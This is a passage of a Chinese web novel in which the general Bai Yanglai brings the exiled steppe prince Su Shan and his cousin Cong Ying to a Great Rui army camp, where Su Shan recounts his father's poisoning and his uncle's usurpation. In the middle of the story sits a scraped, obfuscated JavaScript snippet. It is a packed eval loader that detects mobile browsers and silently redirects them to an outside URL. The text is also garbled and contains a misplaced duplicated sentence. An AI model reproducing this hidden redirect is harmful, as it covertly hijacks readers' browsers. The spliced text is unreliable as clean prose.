白阳来说:“多谢章郎君一路襄助,这个荷包是我随身装茶叶的,留给你做个纪念吧。”白阳来递出一个铜制的浮雕梅柳初发图的荷包,上面凸起一个原形的图案,手一推荷包便打开了,顿时茶香四溢。这荷包虽然是铜的,但极为精巧美观,出行在外又不怕磕碰,真是再好不过了。 章余庆将铜荷包收进怀里感慨道:“好好好。唉,自遇见你,什么都好,就是没想到这么快就要分别。” 白阳来也有些不舍,但他对于心中的许多感觉总像是隔了一层障目的雾一般,看不清楚也察觉不真切,因此在情感的表现上总是迟钝而淡漠,比如此刻,章余庆眼中的白郎君只是温声对他说:“如君所言,山水有相逢。更何况此事隐秘,我本不该告知章郎君以免牵累,但,在下初次走商交了郎君你这个朋友临别之际不告个别实在不舍。”白阳来认真地对章余庆说:“若是我等去后章郎君因此遭遇危险,请郎君切记,不要留恋钱物,保住命向西偏南方向一路奔驰,自有逃出生天的机会。” 章余庆也多少能猜到今日遇见的那两个少年身份不一般,但白阳来会如此叮嘱,让他颇感意外,看来这事儿不是一般的危险。他不由地拉住白阳来说:“要不你再想想,咱这钱就非挣不可吗?你年轻,可别冲动。金银固然重要,可有钱也要有命花啊。这么危险万一要是出了什么事,你父亲、你家里,你再想想马七叔他们家的事儿。” 实际上,白阳来因为小时候的遭遇,对善意与恶意都极为敏感,只是,他习惯了什么都藏在心里,久而久之便总是钝钝地不知该如何表现出来。此时亦是,他再次谢过了章余庆,说:“自古财帛动人心,有机会我总要试一试。” 章余庆叹了一声,摸着怀里的铜荷包目送他离开。 王城如何暂且不提,白阳来带着人马一路快马加鞭夜以继日,用最快的速度将苏善和丛英带回了润和大营。 他习惯了什么都藏在心里,久而久之便总是钝钝地不知该如何表现出来。两人在遇到营中在外警戒的斥候向白阳来拱手口称:“将军。”的时候简直都傻了。 丛英目光茫然,心中惊恐,颤抖地问:“他是将军?什么将军?” 苏善心中的侥幸终于落空,却一时之间不知道是该害怕还是该高兴,有些麻木地答道:“自然是大睿的将军。” 大睿的将军,一定是知道燕长风的,如此或许苏善是该高兴的,因为这意味着他的寻人计划已经成功一半了。但是,在他心中的希冀升起的时候,有一股他暂且说不清道不明的忧虑惊惧之感也在不容忽视地搅扰着他的心神。 丛英突然道:“等等,我们好像连他的名字都没问过。”这太令人后怕了! 哪里想到苏善漠然地说:“他叫什么重要吗,反正都是赌,豁出去了。” 丛英眨了眨眼,只觉全身的毛发都炸开了:“这也太豁出去了吧,这跟从悬崖上往下跳有什么区别?” 苏善压下心中翻滚的思绪,冷冷道:“没有,都能离开皇宫,都是生死随意。” 白阳来不知何时侧头听到了他们的对话,称赞道:“你们都很勇敢。” 苏善闻言亦转过头称赞丛英说:“你尤其勇敢。” 丛英简直要疯了,但事已至此他能如何,只能紧紧抓着缰绳咬牙道:“你俩快闭嘴吧!” 28.第 28 章 飞马回营的斥候比白阳来一行早到一步,于是等到白阳来他们在营中下马时,雍大将军的中军帐已经得到了他回营的消息,燕昭鹏向雍长龄请命出来迎接。 回到熟悉的润和大营,白阳来只觉得竖在门口的那根木棍都格外笔直顺眼,他微带一点雀跃对苏善与丛英说:“两位郎君,请容我介绍一下,此乃润和大营,在下白阳来,是营中的前锋将军。” 丛英歪头斜眼面色不善地看着他,意思很明显:现在说这些,呵,还有意义吗? 苏善皱着眉头:“润和大营?我没有听过,你们大将军是谁?” 这时,燕昭鹏来了。 白阳来立马迎着他走过去开心地说:“你怎么亲自出来了?最近身体可还好?” 燕昭鹏笑意盈了满面,看着满身风沙的白阳来说:“看你问的,不知道的以为你我多久未见了。该是我问你才对,白将军此行可好?” 白阳来让开了半个身子向他展示自己身后的苏善与丛英说:“我带回来两个人,咱们先去见大将军再细说。” 两人于是并肩走在前面,白阳来用只有他们俩能听见的声音对燕昭鹏说:“此子疑似苏善,要找燕长风大将军。” 燕昭鹏侧耳倾听的动作微微顿了一下,除了白阳来无人察觉,他抬起眼睛看着白阳来点了下头,表示知道了。 中军帐近前,叶真正等在路上与两人见礼,白阳来道:“叶将军,罗校尉要晚几日归营。我们在王城遇到了一个人,或与金刚八卦阵有关,罗校尉去追他的行踪了。” 叶真正是为了弟弟而来,虽未见到人但听白阳来如此说也暂时放了心,道:“谢白将军告知。大将军正在帐中等待,白将军请。” 苏善与丛英跟着走在后头,这个军营比他们见过的鹰王和豹王的军营都要大,而且全是中原人,他们虽然也穿着中原人的衣服,但异族的面容在这里很是显眼。若是以前,有人敢像白阳来现在这样慢待他们丛英早发怒了,可是现在,他莫名感到紧张和害怕,搂着苏善的一条胳膊一边走一边悄悄观察着这个新地方。 苏善也很紧张,但又有点兴奋,看这军营如此阔大又井井有条,莫非这就是燕长风的军营?若是那可就太好了。苏善只是想找人,去不去帝都无所谓。 叶真与燕昭鹏带着白阳来先行入内拜见,其余人在外等候。不一时,有人出来传令,似乎只在瞬时之间,苏善和丛英便看到一大群手持武器的士兵们不知从哪里钻了出来,在空地上排成整齐的队伍向军营外走去。 丛英小声问:“这是怎么了?” 有跟他们一路回来的白阳来麾下亲卫答道:“防御姿态展开,这是我营迎接贵客的大礼。” 丛英对他翻了个白眼,我信你不如信鬼。 但那亲卫前半句的确是真话,润和大营展开内外防御姿态,斥候收缩巡察范围的同时加大了巡察的频率,确保不留任何安全间隙。 中军帐内,雍长龄、徐常青、程荥、云剑南、元淮、萧懋、梁云等一众将领俱在,此时大家或坐或站,一同听单膝跪地的白阳来向雍大将军忏悔,说自己一时冲动从王城带回了一个疑似是双翼狮王独子的少年,以及他的表侄。 这真是任何人都决计想不到的。雍大将军当初的意思只不过是让白阳来去王城亲眼看一看八卦阵而已,怎么就能将狮王独子带回来了呢?现在的泼岩麻王城已经随意到这种地步了吗? 雍长龄不愧为身经百战统领万军的大将军,第一个稳下心绪向白阳来确认道:“你说的狮王是阿克金还是阿克奇?” 白阳来心中反省了一下自己的不严谨,答道:“回大将军,是初代狮王阿克金,此子名叫苏善。” 嗯,雍大将军肯定了一分:“名字倒是对上了。”但是:“你没有核验他的身份吗?” 白阳来如实答道:“回大将军,属下无从核验。彼时身在王城末将所知甚少,猜测其身份后深恐迟则生变,一心只想着先将人带回营中再说,否则若是耽搁了时间,王城中人找过来,那我们不但人带不走,自己的身份也有暴露的可能。属下确实思虑不周,还请大将军责罚。”白阳来说着有些脸红,自以为沉稳,真遇到事情了才知道自己有多冲动鲁莽。 他过去只知道自己上有许多不足,但因为天赋过人,一路走来无处不被夸奖,许多事情竟然都没有细想过,此次行动细究起来可谓纰漏百出,倒也给了白阳来一个契机发现了具体的问题,倒是更能促进他的成长了。如此看来,雍长龄的这一场历练确实十分高明,人教人总比不过事教人来得更快更深切彻底。 及至白阳来抬起一张红透了的花猫脸,圆睁一双清亮地凤眸恳切地对雍大将军请愿道:“属下莽撞,还请大将军责罚。”时,谁还舍得责罚他。 燕昭鹏看着雍长龄的脸色考虑自己要不要出言替白阳来求情,在他没注意的地方徐、程、云、元、萧、梁等人亦如是。雍长龄看着白阳来风尘仆仆的样子已经觉得历练到位了,再看他如此恳切的样子便更觉得自己教导的目的已然达到,年轻人纵有不周到的地方大可以慢慢学来。再说,此时局势于我军而言可谓僵局,若能有一个狮王独子来破一破,实在是利大于弊;当然,即使不是也无妨,另行谋划就是了。只是在众人面前雍长龄不想将偏爱表现得太过明显,白阳来毕竟还年轻,给人留下这样的印象对他不好。 雍长龄于是佯怒道:“出营在外,怎能如此莽撞……”他还没想好后面怎么骂,于是停了一下,下面徐常青立刻拱手道:“启禀大将军。”雍长龄正好将训斥抛开,一手做了个请的动作:“你说。” 徐常青十分严肃地说:“属下以为当务之急是先将白将军带回了的少年验明正身,至于白将军此行的表现,容后再议不迟。” 众人纷纷附和,燕昭鹏松了一口气。 上座的雍长龄又何尝不是,他点头肯定道:“徐副将所言甚是,你先起来。让他们进来吧。”中间这一句是对白阳来说的。 苏善与丛英走进大帐,看着帐中一群高大的将军,两人原先的紧张害怕竟渐渐地被好奇取代,还隐隐生出了一些期待。 只是这个环境于两人而言还是太过陌生,物质所措的他们没有行礼,只是站着。 此时,白阳来出列介绍道:“座上乃是大睿三品冠军大将军,敕命定北将军雍长龄。” 苏善一听便道:“我要找燕长风将军。” 雍长龄看了他一眼开声问道:“不知两位是?” 苏善在心中告诉自己不要紧张,不要堕了父王的威名,他努力让声音平稳不颤抖:“我是苏善,伊奇达罗布岩陀苏善。我的父亲是伊奇达罗布岩陀阿克金,草原上唯一的双翼狮王。” 伊奇达罗布岩陀,泼岩麻族的王姓。 雍长龄将眼神移到丛英身上,丛英看了看身旁镇定的苏善,说:“我是丛英,塔纳云罗丹丛英。” 塔纳云罗丹,贞慈太后的母族,原本是草原上十分富有的大族,被双翼狮王并入泼岩麻之后极大地增强了泼岩麻族在草原的统摄力。 白阳来赌对了。 雍长龄心中高兴又激动,但面上不动声色,而是谨慎地问道:“两位贵客如何证明自己的身份?” 苏善从脖子里掏出一个成年人拇指大小的白玉云头无事牌,说:“这是我父亲的‘定宁之宝’,可以证明我的身份。” 丛英也从怀中掏出一方小儿拳头大小的金印,托在手中说:“这是塔纳云罗丹一族的金印,可以证明我的身份。” 众人还未反应,苏善先惊了一跳,他尖利的声音中藏着害怕:“你怎么把族里的金印带出来了?” 丛英被他吓了一跳,十分无辜地说:“你不是让我带一个能证明自己身份的东西吗?” 苏善一身冷汗无奈到脱力:“那你……也不能……你随便带个什么不行,为何要带这个?” 丛英感到委屈,不自觉地撅起嘴语带埋怨地解释道:“你又没说具体带什么,我哪知道外头认不认得我那些东西,我觉得这个最能证明我的身份,就把它带出来了。” 确实,这世上确实没有比他手中的金印更能证明他塔纳云罗丹一族嫡长传人身份的东西了,苏善头疼但毫无办法。 雍长龄让人奉上印泥和丝帛,两人分别将印盖在丝帛上被呈到他面前。 身份确认。 雍长龄在上座拱手道:“二位贵客莅临寒舍,雍某怠慢了。” 苏善再一次大声地说:“我要找燕长风将军。” 雍长龄起身拱手举向帝都的方向说:“燕大将军英灵在天,永世护佑草原的安宁。你有什么话就在这里说吧。” 苏善心中不忿:草原是我们的草原,用得着你们的将军护佑?!怎奈形势比人强,若草原还是当年的草原,他一个狮王独子又何必来寻大睿的将军,想到此处苏善禁不住悲从中来。 丛英看着他低头难过,有些心慌地问:“燕长风没了?” 燕昭鹏克制地握紧了拳头:祖父的名字被一而再,再而三不知忌讳提起实在是让人生气! 白阳来提醒的声音冷得像淬了冰:“丛英公子,请称大将军。” 丛英看了他一眼,没有纠缠,而是马上又问了一遍:“燕长风、大将军他死了?” 燕昭鹏深吸一口气闭了闭眼,忍耐地勾起淡色的唇,心道:很好,丛英,你完了。 白阳来看着他睁开眼,用眼神传递着自己的关心:弄他的时候我可以帮忙,别生气。 他的眼睛纯澈又真诚,看得燕昭鹏忍不住笑了,舒出一口胸中浊气。 苏善突然抬头瞪大了眼睛:“定北大将军?你怎么会在这里?” 终于问了一句该问的。 雍长龄慢慢落座,不疾不徐地回答他的问题:“我身为敕命定北将军,自然是来‘定北的’。怎么, 我军在草原上连下五城的事殿下竟全然不知?” 苏善一瞬间怒气满膺:“这就是我要来找燕将军的原因!”他说:“现在找你也是一样,你能连下五城,可那些不过是杂部驻守的卫城罢了,泼岩麻真正的大军是鹰王与豹王直率的军队,你也能赢吗?” 徐常青看不惯看有人在雍大将军面前如此叫嚣,出列道:“多年以前雍大将军就曾在草原上七战七捷,苏善殿下竟没听过大将军的名讳,你们王城里的人就这么孤陋寡闻吗?” 丛英立马替苏善反唇相讥:“苏善殿下跟你们大将军说话有你插嘴的份儿,你们大睿的武官就这么没规矩吗?” 元淮抱臂嘲讽道:“我们确实没有离家出走还带走族中金印的规矩。” 丛英一下子哽住了:“你!” 苏善平复了心中的激荡,一边拉住丛英,一边说:“我在王城消息闭塞处境艰难,否则也不会如此冒险来向大睿寻求合作。” 雍长龄慢慢地重复道:“合作?” 苏善努力打起精神强调地说:“对,是合作,不是帮助。” 这下雍长龄倒对他生出了一丝欣赏:“那么请殿下详细说一说,你与在下合作的筹码是?” 早已在心中翻来覆去想了千万遍的想法终于能一吐而快了,苏善急迫地说:“杀了鹰王豹王,助我坐上王位,我愿给将军你想要的任何东西。” 雍长龄眯了眯眼:“殿下的话,恕我没听明白。” 苏善依旧急速地道:“事关王族秘辛,我可以告知大将军,但,他们不能听。”他看了看左右站着的数十位将军。 中军帐清场,留下来的人除了雍长龄、苏善和丛英还有白阳来与燕昭鹏。 丛英不满地打量燕昭鹏这个没眼色的:“你是谁?留下来干嘛?” 白阳来站在燕昭鹏身旁介绍道:“这位是燕长风大将军的孙子,我大睿五品承恩校尉燕溟。” 这下轮到苏善打量燕昭鹏了,他语带十分怀疑:“我父王说燕长风是大睿最勇武难当的大将军,他孙子怎么是你这样?” 白阳来一步迈上前来说:“是我的疏漏,竟然在见大将军之前没有先教一教两位什么叫规矩礼貌,又或者两位现在与我下去学一学再来说话不迟。”他凤眼如刀注视着苏善说:“泼岩麻的王子殿下,你现在站的是大睿的地盘,你是来求助的,扯什么‘合作’遮羞。我们能打下五城就能打下王城,到时候你算什么?不论金印还是玉印,亡国的东西比草芥更不如。” 除了眼中射出的寒芒,白阳来面色平静,声音也一如往常般动听,但这脸翻得是实实在在的。 燕昭鹏挑挑眉毛丝毫不压抑脸上的笑,雍长龄也因为白阳来突然生气并且出言不逊而颇感意外,有种看着家养的小兽炸毛的欣喜可爱之感。要知道白阳来一向言语温和,能动手解决的绝不动嘴。 只有苏善和丛英感受到了一种难以言喻的威压,这位白净漂亮的将军仿佛一下子从顺眉的菩萨变成了怒目的金刚,释放出了摄人心魄的威势。 自从白阳来在路上洗了把脸恢复本来面貌之后,苏善与丛英便对他好感日增,此时他突然翻脸将二人惊吓一跳倒在其次,那种陌生却有如实质的压迫感更让人从心底感到惧怕。 燕昭鹏低头抿嘴笑了好一会儿,见无人打破这沉默,燕大郎君只好慷慨地表示:“罢了,说正事吧。”言行间尽显大度。 白阳来退燕昭鹏身边,苏善与丛英站在军帐中间,雍大将军仍坐在上首,丛英这才察觉到他们此刻的站位正彰显着自己现下堪忧的处境,一阵心头火起:这些中原人当真无礼!他意欲发怒、质问,却发现自己身边只有一个苏善,除此之外堪称孤立无援。孤立无援?曾经,丛英以为只有蠢货才会将自己置于书中孤立无援的境地,而现在,竟然是自己身处其中,他顿时感到十分茫然,环顾左右,最终也只能再往苏善身边靠一靠了。 而苏善此时满腹心思根本顾及不了其他,在场众人都在等他说话,他却难过的想哭,倒不是后悔,而是他没想到,原来离开王城之后也是这样不堪,但面对这些陌生人虽然他同样不愿显露自己的软弱,却觉得相比于面对宫中之人,求助于他们的难堪似乎是可以接受的。 泼岩麻大殿下苏善细说从头: 当年,极盛一时的双翼狮王阿克金坐拥大片丰美的草原、娶了塔纳云罗丹一族最美丽高贵的女儿为后,还统领着数以二十万计的铁骑勇士,在草原振臂一呼千里相应。 事实上双翼狮王实力最强的时候也没有赢过大睿的军队,燕长风大将军当年甚至还为大睿和草原辟出了绵延千里、纵深二十里的安全地带,只要泼岩麻族不涉足此地带,两方相安无事;若涉足,便视同宣战。是故,双翼狮王的勇武无双只在草原,并不存在于其外的任何地方。不过,此时在场诸人均有足够的涵养,也不屑与一个养在深宫的小王子多费无畏的口舌,就这么任他说了下去。 苏善说:“当时我还小,但也已经记事了,父亲十分疼爱我,去哪儿都愿意带着我。王城建好之后,他举行了很大的庆典,开了流水席,酒肉随意吃喝,大家从天亮热闹到天黑。” 阿克金当时正值壮年,每日精力无限,若不征战四方便要尽力放纵玩乐,必须将那股精神气都发泄出来才能舒服,否则晚上睡不着觉,情绪也会非常暴躁。他自小体质燥热喜饮冷酒,但草原部族居无定所没有储冰的条件,选址兴建王城之时,他特意命工匠为自己设计了冰窖,从此不但有冰可用,而且能将特意存起来的干净冰砖砸成小块放进酒中直接饮用,喝了多年的好酒从此更别有一番风味了。 苏善说:“那次,父王高兴,酒与冰都人人取用,大家一边喝一边称赞他,一杯接一杯饮得舒爽尽兴。”苏善慢慢地红了眼眶:“夜晚原本有盛大的歌舞,但父王觉得人们都喝多了前头太乱,我还我太小,他就专门回来陪我用晚膳。” 阿克金回到后殿,还特意更衣、净面,漱了口才去见儿子。原本应该是父子欢乐共食之后,年幼的苏善在后殿休憩玩耍,等待父亲出去与满堂宾客同欢再回来陪他睡觉的,然而,阿克金竟然在对儿子笑了一下之后就那么毫无征兆地猝然倒地了。苏善被身边的奴仆放在阿克金的宝座上等他,见到高大的父王像一座山一样直挺挺地倒下,先是愣住了,过了一会儿发现地上的人一动不动,才害怕地从宝座上往下爬。他太小了,下来的时候甚至因为腿脚够不到脚踏而摔在了地上。苏善跑过去用力推了推阿克金,还是没有任何反应,他一下子害怕了,扑在阿克金身上哭了好一会儿才想起出去叫人。 后殿的奴隶将狮王抬到了床上,阿克奇还特意赶过来看,问怎么了,见到苏善哭得满脸是泪顿时哈哈大笑:“不就是饮醉了吗,看你这个样子,今日的酒好,谁不多喝几杯!放心,大王是海量,等睡醒了又能再干三坛!” 苏善才不听他满身酒气地说醉话,反而借着这个机会将心中的惊怕变成了怨怒,对阿克奇哭道:“讨厌!你出去!告诉外面父王今晚一整晚都要陪我,你们谁都不许再来!” 阿克奇对他的情绪根本不在意,摇摇晃晃地笑着出去了,这一晚果然没有人再来过后殿。 苏善抬手抹了一把脸,稳了稳声音继续说:“我父王睡觉鼾声很大,但是那天晚上他一直没有发出过声音,我当时觉得很奇怪,就把手伸到他鼻子下面探了探。”苏善回想起那天的情景依然十分心:“哪知道父王根本没有鼻息!我吓得魂飞魄散,可是推又推不动,拍也拍不醒,我急得没办法就整个人跳到了他的胸口上两只手摁在他鼻子前面不停地又哭又跳。” 在年幼的苏善全身气力耗尽之前,阿克金终于醒转。 苏善以袖抹泪道:“我跟父王说他突然倒地、许久没有鼻息的事,他也很害怕,他说自己在中原时也曾有过这样的情况,当时还特意寻名医问过诊。他安慰我让我不要担心,说他会为我做万全的准备,可是……” 可是阿克金没有想到,他的时间竟会那样少,传位诏书还未写就自己就猝然长逝了。在他死后,阿克奇用最快的速度坐上了王位并且娶了自己的嫂子为后。 泼岩麻族有兄终弟及的传统,再说苏善又确实太小,大臣们便也就这样接受了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252818|163756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,令人更加意想不到的是,没过几年,阿克奇也暴毙了。原本,已经长大的苏善应该继位为王,但鹰王与豹王把持着泼岩麻的军权,担心日渐长成的苏善不好控制,于是将阿克奇与王后所生的儿子扶上了王位。 苏善将泪水擦干说:“我马上就要十六岁了,十六岁是泼岩麻族成年的年纪,要是再不想办法,我这辈子就废了。” 众人听他说完,一起看向丛英,丛英先是莫名其妙,反应过来之后瑟缩了一下才说:“我也快十六岁了,鹰王想让我娶他女儿,我也要逃,我不能娶那个泼妇!” 燕昭鹏站得累了微微靠着白阳来笑道:“你真是口无遮拦,鹰王纵然不好,与他女儿何干?” 丛英来气说:“你知道什么,他那个女儿,恨不得比他还厉害呢!我从小就打不过她,娶了她难道要每天挨打吗?” 刚才白阳来将两人吓住之后,燕昭鹏便觉得这个丛英颇为有趣,看了看上座的雍大将军,似乎正在想什么,并未在意下面,于是故意逗丛英说:“总是你有不好的地方,否则人家花力气打你做什么。” 丛英真的生气了:“你这个人怎么这样说话,我就算有不好的地方她也不能打我啊!”想了想好像有什么不对,但是哪里不对呢? 还是苏善叹了口气替他解释道:“鹰王的长女没什么不好,只是骑射功夫很厉害,我们一同长大的人中她从无敌手。她总是来挑战我们,我们都被她打过。” 有人帮自己说话丛英的胆子立马壮了起来:“她就是想向鹰王证明她虽然是女子却能比所有的男子都厉害,可即便是又如何呢。鹰王最爱的就是金银,其次是良驹和宝刀,他连自己的儿子都不很在意更何况她这个女儿。” 燕昭鹏观察雍大将军正在思考,苏善也心事重重不欲速言正题,与白阳对视一眼接着想丛英提问道:“你们、塔纳云罗丹一族,很富有吗?” 丛英感觉受到了冒犯,眉毛都要竖起来了:“什么叫‘很富有吗’?你竟然问这样的问题!我们塔纳云罗丹!我!”丛英实在是怎么也没想到,竟然会有人质疑塔纳云罗丹的豪富! 他一边给自己倒着气儿一边扯苏善的袖子,苏善于是皱着眉替他向燕昭鹏和白阳来解释道:“这么说吧,我们泼岩麻族有许多姓氏,伊奇达罗布岩陀在泼岩麻世代为王,所以是王姓。而他们塔纳云罗丹一个姓就是一族,这一族里的人除了塔纳云罗丹氏为主人,其他的姓氏都是他们的从属,其他姓氏之人可以自由放牧、生产、通婚,但举凡大事皆要听从主人的安排,无论如何都不能违背主人的意志。塔纳云罗丹族之人温良宽厚心灵手巧,在草原上颇有声望。” 丛英得意地叉腰说:“我们一族从来都是草原上最富有且仁善的一族,我们拥有最多的牛马、金银,还能织最美丽的毯子,你知道吗?” 燕昭鹏点点头说:“刚刚知道。” 丛英重重地“哼”了一声,以示不满。 燕昭鹏抬起眼皮幽幽地说:“我原先只知道你们有矿。” 丛英甩头甩到一半猛地定住,差一点儿梗了脖子,他咽了咽口水慢慢转回去偷眼看燕昭鹏。 燕昭鹏双手交握在前施施然道:“怎么?这难道是秘密吗?” 丛英等他一眼没说话。 燕昭鹏非常虚心地向他请教:“你们族里的矿,靠什么来驭使?” 丛英原本并不理会,但下一瞬却徒然心惊,苏善听清了燕昭鹏的低语后也猛地看向了他,一脸惊惧。 燕昭鹏了然后仰:“看来金印是可以的了。” 丛英再次咽了咽口水后背发凉的感觉更明显了,苏善也终于发现如今的情形、或者说自己的身份似乎并不是简单地豁出去生死就能解决问题的了。他现在不但觉得后怕,甚至都有些后悔了,就算他再怎么不将王城放在眼里,但他不能因为自己而拖累塔纳云罗丹全族啊。 眼见两人额头冒出汗珠,雍长龄宽厚醇和的声音响起:“燕长史许久未见年岁比他还小的郎君了,闲话两句还望殿下与阁下不要放在心上。” 他一说话丛英更害怕了,但他不敢再多说,只能在心中哀嚎道:是我希望你们不要把刚才的话放在心上才对吧。早知道就不偷拿金印了,现在该怎么办?丛英只要一想到手持金印就能从塔纳云罗丹氏的矿场取走那里所有的钱物就眼前发黑,如果金印真的被这样使用了,那他就是族里的罪人!再说,就算族里愿意饶恕他,嗜财如命的鹰王也不会放过他的。 苏善握了握拳头说:“大将军你要是想要财宝,我有,还请你不要动塔纳云罗丹的矿。” 雍长龄伸出手向他做了个放心的动作说:“有一事还请殿下为我解惑。令尊当年独步草原的雄师在下颇有耳闻,彼时令尊猝然离世,他留下的军队和军队中的将领难道就没有愿意拥立和效忠你的么?” 苏善眼眶又红了说:“我父王原先很信任阿克奇,还有鹰王和豹王,他们当时都很乖很听话,但是一夜之间全都变了。” 阿克金死后,阿克奇一面将太后和苏善与阿克金的遗体关在宫殿中,派自己的亲信看守;一面急召阿克金的亲信入宫,以商议苏善继位之事为由,骗忠心于阿克金的将领们饮下了毒酒。 苏善恨声道:“他杀了那些我忠心于我父王的将军和大臣,还骗他们的家人说是我父王下旨要他们陪葬!简直一派胡言,泼岩麻族根本就没有陪葬的习俗,那些人竟还都信了。” 此时丛英补充道:“阿克奇还让所有的大贵族都住进了王城,大部分的贵族都因此而非常拥护他,但我们一族根本不想进王城,他们非让我们住进去,凶死了。” 泼岩麻贵族中有隐秘的传言,说王城是双翼狮王阿克金为王族精选的长生福地,住进去能获得神明的护佑。但塔纳云罗丹一族原本富庶,在外面住的很好,并不想入王城,可作为当时的贞慈皇后的母族,如果他们不入王城,那么其他的大贵族也不好越过他们住进去,塔纳云罗丹一族可以说是在情势的裹挟之中勉为其难才住进去的。 苏善突然觉得很疲惫,他用力地甩了甩头将自己的心绪从过去的回忆与情感中拔出来、专注于眼下:“前尘已逝,多说无益。我来找大将军就是想向您借兵,踏平王城。” 雍长龄看着他平静地说:“那是泼岩麻一族的王城。” 苏善怒吼道:“那是我父王的王城!” 他激动地说:“我已经忍了太久,我以为只要我忍下去一切就会变好。不会的,再也没有好了!从我父王离去开始,一切都只会变坏,没有最坏的,只有更坏。我的底线、我的底线一次一次地被侵犯,一次一次地被突破被没有尽头地向下压!”苏善一边急促地喘息着,一边愤恨又难过地留着泪。 不知不觉间又是满脸泪水,苏善沉痛地说:“当初年幼,母后说让我忍一忍,否则阿克奇杀我易如反掌。我只好,亲眼见自己的母亲嫁给了夺去我王位的仇人,呵呵呵呵,我可真窝囊啊。” 苏善涕泗流涟,又哭又笑神情略有些疯癫:“阿克奇这个畜生,他害得我一夜之间什么都没了!现在又轮到了他的儿子当王?那我呢?我才是真正的双翼狮王唯一的儿子,为什么我什么都没有了?没有父王、没有王位也就罢了,我也是个孩子,为什么他连我的母亲都要夺去!” 苏善哭的不能自已,已经站立不住跌坐在了地上,丛英扶着他的肩低头陪着他一起哭。 白阳来平静的声音带着一种并不刻意却令人安心的抚慰之感:“你是说阿克奇的那个儿子?” 丛英抹了抹泪抬起头说:“对,他叫浑餮怜,跟阿克奇一样跋扈,从小就很恶毒,总是背着太后欺负大殿下,说太后是他一个人的母后,王位和母亲都是他的,还嘲笑苏善什么都没有。” 燕昭鹏抱臂道:“如此不知礼,大殿下就不能拨冗教导令弟一番吗?” 苏善哭得头晕,喘息之间勉强回道:“我要杀他,母后拦在中间说她愿意替浑餮怜以死谢罪,求我不要兄弟相残。”苏善咬牙冷道:“哼,阿克奇违背父王意志篡夺我的王位之时,怎么就没有人制止他残害我呢。” 雍长龄示意白阳来将地上的两人扶起来,说:“前尘已大约明了,接下来谈一谈今后吧。殿下方才说 ‘扫平王城’……” 苏善扶着丛英站起来,哭得摇摇摆摆,他压抑许久,离开王城后终于能痛痛快快地哭出来,一下子发泄太狠现在浑身都有些脱力了。 燕昭鹏立刻向雍长龄道:“启禀大将军,两位贵客与白将军外出归来还水米未进。” 雍长龄心有万千思绪如今又添了一个外族王子,还真忘了这个,忙让三人下去梳洗,又让人摆饭款待苏善与丛英。 燕昭鹏出了中军帐就燕家大厨准备可口易消化的饭食,雍大将军款待谁他不管,他要款待自己的小羊。 白阳来在屏风后沐浴,燕昭鹏坐在屏风外头把玩两只串在一起的平安扣,正是燕墨闻上次送过来的小玩意儿,两个孩子一人一个。 燕昭鹏甩着流苏道:“你觉得那边多久能追过来?” 29.第 29 章 白阳来抹了一把脸上的水,将刚洗好的发丝向后扒了扒,说:“如果反应快的话,应该已经出城了。不过,”他歪着头回忆了一下:““好像王城并没有多少兵马,大部人马都由鹰王和豹王统领在外。” 燕昭鹏翻弄着白玉平安扣说:“要是他们真的出兵来犯那就太好了,对手长途奔袭,我军以逸待劳,兵书上的经典范例。” 白阳来抬手搓洗着前胸后背,微侧着头问屏风另一边的燕昭鹏:“你第一次上战场的时候害怕吗?” 燕昭鹏回想了一下,笑着说:“你这么问,那我猜你跟我一样,非但不怕,反而全身都在兴奋。”虽然他没有出阵,只在后方观战,但身临其境的感受依然深刻无比。 白阳来眉目舒展笑得肆意飞扬,本就俊美至极的容貌简直要放出光来,幸而此刻无人得见,否则魂魄怕是都要被他摄去,他明白燕昭鹏懂得那种感觉,知己如是,因此也分享道:“驰骋疆场是我最放松的时候,没有什么算计,就是见招拆招,一力降十会。一直赢下去的感觉真的很舒服。”白阳来的武功好,在营中是公认的第一。虽然他自己并无所感,但在这方面他确实天赋卓绝,任什么功夫招式,他只要看看就能懂,只要看懂了就能学着演练出来,只要演练几次便能举一反三见招拆招。白阳来只觉得这很有意思,熟不知在旁人眼中这有多么令人惊叹。毕竟许多事情看得懂不等于做得到,人的身体固有各种局限,功夫招式中的角度、力道、位置、时机,这些都是门道是学问,多少人学都学不会、练都练不来的东西,若是有人只看看就能会那真是太可怕了。一直以来燕墨闻与雍长龄在这方面都下了大功夫保护白阳来,所以虽然也并没有人告诉白阳来他有多厉害,但也没有人议论或传扬他的天赋异禀。 当然白阳来亦是勤奋的,但润和大营中没有不勤奋的将军而他的出类拔萃显然已经脱离了单纯勤奋所能达到的高度。这是他在营中虽然年轻但声望颇高最重要的原因,其余性情容貌之属在崇尚实力的疆场皆为末节。 帐中仅他二人,燕昭鹏在椅子上摊手摊脚坐姿懒散地与白阳来闲话:“我感觉这个苏善、丛英被养在王城之内消息似乎极为闭塞,对城外诸事所知甚少,不知他们能告诉我们多少有用的信息。” 白阳来手上不停已经洗到了腿脚,闻言道:“我在王城遇到一个自称姓‘楼’的人,对八卦阵很了解,我怀疑他是龙门中人,我们离开之前已经让罗影带人去找了。如果能找到他,我想他或许能给我们提供一些有用的消息。” 燕昭鹏听见“龙门中人”四个字后将手中的平安扣一收,一下子坐直了身子:“龙门中人?据我所知当年八卦阵就是龙门中人设计的。” 这等秘辛所知之人甚少,但燕家有特殊的渠道。燕长风老将军爱看游记这一喜好天长日久的变成了习惯,还传给了燕墨闻与燕昭鹏,因此燕家书楼专门有一项支出是:人们若将亲身经历或听说的奇特或有意趣的见闻写下来,便可以在燕家书楼换一张票据,拿着这张票据可以到食铺换饭食或到当铺换一点散碎银子;然后店铺会拿着攒下的票据到燕家对账领钱。写下来的各种故事会有专人整理抄录,当年周观应在燕氏书楼那个抄书人的活计就是专门做这个的。抄书人整理出来的书册,就是燕家主子们阅之不断地游记。因此燕昭鹏虽足不出户,知道的事情却着实不少。 白阳来从浴桶中起身,燕昭鹏思索回忆,安静未几便想到了什么,突然叫道:“我想起来了!” 